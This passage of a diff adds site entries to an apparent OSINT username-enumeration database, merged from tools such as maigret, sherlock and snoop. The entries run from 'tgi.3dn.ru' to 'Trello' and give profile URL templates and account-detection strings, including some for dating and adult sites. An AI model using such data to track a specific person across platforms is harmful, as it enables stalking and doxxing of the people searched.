"http://tgi.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thaicat", + "url": "http://www.thaicat.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "thaicat.ru", + "url": "http://thaicat.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thatpervert", + "url": "https://thatpervert.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "Rating: " + }, + { + "name": "The AnswerBank", + "url": "https://www.theanswerbank.co.uk/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Welcome to the AnswerBank" + }, + { + "name": "The Erotic Review", + "url": "https://www.theeroticreview.com/reviews/newreviewsList.asp?Name={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<p>No records were found.</p>", + "match_string": "matches.</span>" + }, + { + "name": "the-mainboard.com", + "url": "http://the-mainboard.com/index.php/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theaquariumwiki", + "url": "https://theaquariumwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "theatre.my1.ru", + "url": "http://theatre.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebeautybrains", + "url": "https://thebeautybrains.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebigboss", + "url": "http://thebigboss.org/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebuddyforum", + "url": "https://www.thebuddyforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "theburningprocess.com", + "url": "http://www.theburningprocess.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thechessforum", + "url": "https://thechessforum.com/profile/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "Thechive", + "url": "https://thechive.com/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find something else.", + "match_string": "Posts By" + }, + { + "name": "Thechive", + "url": "https://thechive.com/author/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "THEcommunity", + "url": "https://thecommunity.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thedaftclub", + "url": "https://www.thedaftclub.com/forum/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Thefastdiet", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, " + }, + { + "name": "TheFastlaneForum", + "url": "https://www.thefastlaneforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thefastlaneforum", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Thefirearmsforum", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Thegatewaypundit", + "url": "https://www.thegatewaypundit.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops! That page can\u2019t be found.", + "match_string": "avatar avatar-50 photo" + }, + { + "name": "TheGuardian", + "url": "https://profile.theguardian.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>public profile | Identity | The Guardian" + }, + { + "name": "theguardian", + "url": "https://www.theguardian.com/profile/{}", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page Not Found | The Guardian", + "match_code": 200, + "match_string": "

" + }, + { + "name": "thehackerworld", + "url": "https://www.thehackerworld.com/profile/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Theinfosphere", + "url": "https://theinfosphere.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "thelike.ru", + "url": "http://thelike.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thelion", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We are sorry but the following error has occurred." + }, + { + "name": "ThemeForest", + "url": "https://themeforest.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TheMovieDB", + "url": "https://www.themoviedb.org/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thenextweb", + "url": "https://thenextweb.com/author/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "TheOdysseyOnline", + "url": "https://www.theodysseyonline.com/user/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theoutlander", + "url": "http://theoutlander.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Thephysicsforum", + "url": "https://www.thephysicsforum.com/members/{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Theplenty", + "url": "https://theplenty.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "theprodigy", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0447\u0435\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0432\u044b \u043f\u044b\u0442\u0430\u0435\u0442\u0435\u0441\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "TheSimsResource", + "url": "https://www.thesimsresource.com/members/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Thesimsresource", + "url": "https://www.thesimsresource.com/artists/{}/", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Thesimsresource", + "url": "https://thesimsresource.com/members/{}/", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-name" + }, + { + "name": "TheStudentRoom", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thetattooforum", + "url": "https://www.thetattooforum.com/members/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We\u2019re sorry", + "match_string": "Insert This Gallery" + }, + { + "name": "theturboforums.com", + "url": "https://www.theturboforums.com/forums//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thevampirediaries", + "url": "http://thevampirediaries.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TheVerge", + "url": "https://www.theverge.com/users/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theverge", + "url": "https://theverge.com/users/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not found", + "match_string": "-user-" + }, + { + "name": "theverge", + "url": "https://www.theverge.com/authors/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "TheVillage.ru", + "url": "https://www.the-village.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The Village: \u043e\u0448\u0438\u0431\u043a\u0430 404, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "Thewatchforum", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Theweedtube", + "url": "https://theweedtube.com/user/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profileUserName" + }, + { + "name": "thewholesaleforums.co.uk", + "url": "http://www.thewholesaleforums.co.uk//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thingiverse", + "url": "https://www.thingiverse.com/{}/designs", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thinkwiki.org", + "url": "https://thinkwiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thlaspi", + "url": "https://thlaspi.com/en/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thoughts", + "url": "https://thoughts.com/members/{}/", + "category": "forum", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "<span class=\"activity" + }, + { + "name": "thoughts.com", + "url": "http://thoughts.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found", + "match_string": "user-activity" + }, + { + "name": "threads", + "url": "https://www.threads.net/@{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Threads \u2022 Log in" + }, + { + "name": "Threads", + "url": "https://www.threads.com/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Threads" + }, + { + "name": "threatpost", + "url": "https://threatpost.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Tiendanube", + "url": "https://{}.mitiendanube.com/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tigerfan.com", + "url": "http://www.tigerfan.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tik.Porn", + "url": "https://tik.porn/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Page Not Found | Tik.Porn", + "match_string": "
Views
" + }, + { + "name": "tikbuddy.com", + "url": "https://tikbuddy.com/en/tiktok/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "nickName" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "serverCode\":404", + "match_string": "\"nickname\":" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "Something went wrong", + "match_code": 200, + "match_string": "author_url" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tiktok", + "url": "https://tiktok.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Couldn't find this account", + "match_string": "sign-sg.tiktokcdn.com" + }, + { + "name": "TikTok Online Viewer", + "url": "https://ttonlineviewer.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found - TTonlineviewer" + }, + { + "name": "Tilde.zone (Mastodon Instance)", + "url": "https://tilde.zone/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Tildes", + "url": "https://tildes.net/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "timich.ru", + "url": "http://timich.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tinder", + "url": "https://www.tinder.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "twitter:title\" content=\"Tinder |" + }, + { + "name": "Tinder", + "url": "https://tinder.com/@{}", + "category": "dating", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Tinder | Dating, Make Friends & Meet New People", + "match_code": 200, + "match_string": ") | Tinder" + }, + { + "name": "Tinkoff Invest", + "url": "https://tinkoff.ru/invest/social/profile/{}/", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "ProductError", + "match_string": "ProfileHeader__nickname" + }, + { + "name": "Tinkoff_Invest", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "category": "finance", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "NoneNone" + }, + { + "name": "TipeeeStream", + "url": "https://www.tipeeestream.com/v3.0/pages/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"message\":\"Not found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Tise", + "url": "https://tise.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile?p={username}" + }, + { + "name": "tistory", + "url": "https://{}.tistory.com/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tiwall", + "url": "https://tiwall.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"user\"" + }, + { + "name": "TJournal", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + }, + { + "name": "Tkgr", + "url": "http://tkgr.ru/forum/member/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tks", + "url": "https://forum.tks.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tl", + "url": "https://tl.net/forum/profile.php?user={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tldrlegal.com", + "url": "https://tldrlegal.com/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found - TLDRLegal", + "match_string": "s Profile - TLDRLegal" + }, + { + "name": "tlgrm.pro", + "url": "http://tlgrm.pro/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tmbw", + "url": "https://tmbw.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tmk.3dn.ru", + "url": "http://tmk.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tnaflix", + "url": "https://tnaflix.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "looking for is lost somewhere", + "match_string": "userProfileHeader" + }, + { + "name": "Tokopedia", + "url": "https://tokopedia.com/{}", + "category": "shopping", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"{username}\"" + }, + { + "name": "tokyvideo.com", + "url": "https://tokyvideo.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tolkiengateway", + "url": "https://tolkiengateway.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Tolyatty", + "url": "http://tolyatty.net/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tom's guide", + "url": "http://forums.tomsguide.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tom.do.am", + "url": "http://tom.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TomsHardware", + "url": "https://forums.tomshardware.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Tomtom", + "url": "https://discussions.tomtom.com/en/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "toneto.ucoz.ru", + "url": "http://toneto.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toot_mstd", + "url": "https://toot.cat/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tooting.ch (Mastodon Instance)", + "url": "https://tooting.ch/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "top10allservers.ucoz.ru", + "url": "http://top10allservers.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcheats", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "topcheats.ucoz.com", + "url": "http://topcheats.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcoder", + "url": "https://profiles.topcoder.com/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcoder", + "url": "https://api.topcoder.com/v5/members/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"message\":\"Member with handle:", + "match_code": 200, + "match_string": "\"userId\":" + }, + { + "name": "Topdb", + "url": "https://topdb.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Topmate", + "url": "https://topmate.io/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "topreklama.ucoz.com", + "url": "http://topreklama.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topwar", + "url": "https://topwar.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Torrent-soft", + "url": "https://torrent-soft.net/user/{}/", + "category": "torrent", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "torrents-igra.ucoz.ru", + "url": "http://torrents-igra.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "torworld.at.ua", + "url": "http://torworld.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toster", + "url": "https://qna.habr.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "toster", + "url": "https://www.toster.ru/user/{}/answers", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TotalStavki", + "url": "https://totalstavki.ru/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "TotalWar", + "url": "https://forums.totalwar.com/profile/{}", + "category": "gaming", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not Found", + "match_code": 200, + "match_string": "Total War Forums" + }, + { + "name": "Totseans", + "url": "http://www.totseans.com/bbs/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tottenhamhotspur", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Touristlink", + "url": "https://www.touristlink.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Members across the World" + }, + { + "name": "Tourney", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "tovyanskaya.at.ua", + "url": "http://tovyanskaya.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toxicbun", + "url": "https://toxicbun.com/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "toyhou.se", + "url": "https://toyhou.se/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "We can't find that page!", + "match_code": 200, + "match_string": "display-user" + }, + { + "name": "toys22.ru", + "url": "http://toys22.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toyster", + "url": "https://toyster.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Tproger", + "url": "https://tproger.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404", + "match_string": "<meta property=\"og:url\" content=\"https://tproger.ru/author/" + }, + { + "name": "track", + "url": "https://bbs.zkaq.cn/u/{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "TrackmaniaLadder", + "url": "http://en.tm-ladder.com/{}_rech.php", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "player unknown or invalid" + }, + { + "name": "tracr.co", + "url": "https://tracr.co/users/1/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No search results" + }, + { + "name": "Tradestories", + "url": "https://tradestories.pt/user/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-info" + }, + { + "name": "TradingView", + "url": "https://www.tradingview.com/u/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found \u2014 TradingView", + "match_string": "tv-profile" + }, + { + "name": "TradingView", + "url": "https://www.tradingview.com/u/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tradingview", + "url": "https://tradingview.com/u/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "that page doesn", + "match_string": "data-username" + }, + { + "name": "Trailville", + "url": "https://trailville.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "trailville.com", + "url": "https://www.trailville.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "wgRelevantUserName" + }, + { + "name": "trainmodels.at.ua", + "url": "http://trainmodels.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trainsim", + "url": "https://www.trainsim.com//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trainsim", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "trainz-vl.ucoz.ru", + "url": "http://trainz-vl.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trakt", + "url": "https://www.trakt.tv/users/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "trakt", + "url": "https://trakt.tv/users/{}", + "category": "video", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you were looking for doesn't exist (404) - Trakt.tv", + "match_code": 200, + "match_string": "s profile - Trakt" + }, + { + "name": "Traktrain", + "url": "https://traktrain.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tranny Videosx", + "url": "https://trannyvideosx.com/user/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Error", + "match_string": "Last Login:" + }, + { + "name": "transit-club.com", + "url": "http://transit-club.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Translatewiki", + "url": "https://translatewiki.net/wiki/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TRASHBOX.RU", + "url": "https://trashbox.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 \u2014 Not found" + }, + { + "name": "Travelblog", + "url": "https://www.travelblog.org/Bloggers/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Travelfish", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Private or invalid" + }, + { + "name": "TravellersPoint", + "url": "https://www.travellerspoint.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Wooops. Sorry!" + }, + { + "name": "Travellerspoint", + "url": "https://www.travellerspoint.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Travellerspoint", + "url": "https://travellerspoint.com/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not Found", + "match_string": "nickname" + }, + { + "name": "Travis", + "url": "https://travis-ci.community/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trawelling", + "url": "https://traewelling.de/@{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "trays.ucoz.net", + "url": "http://trays.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trello", + "url": 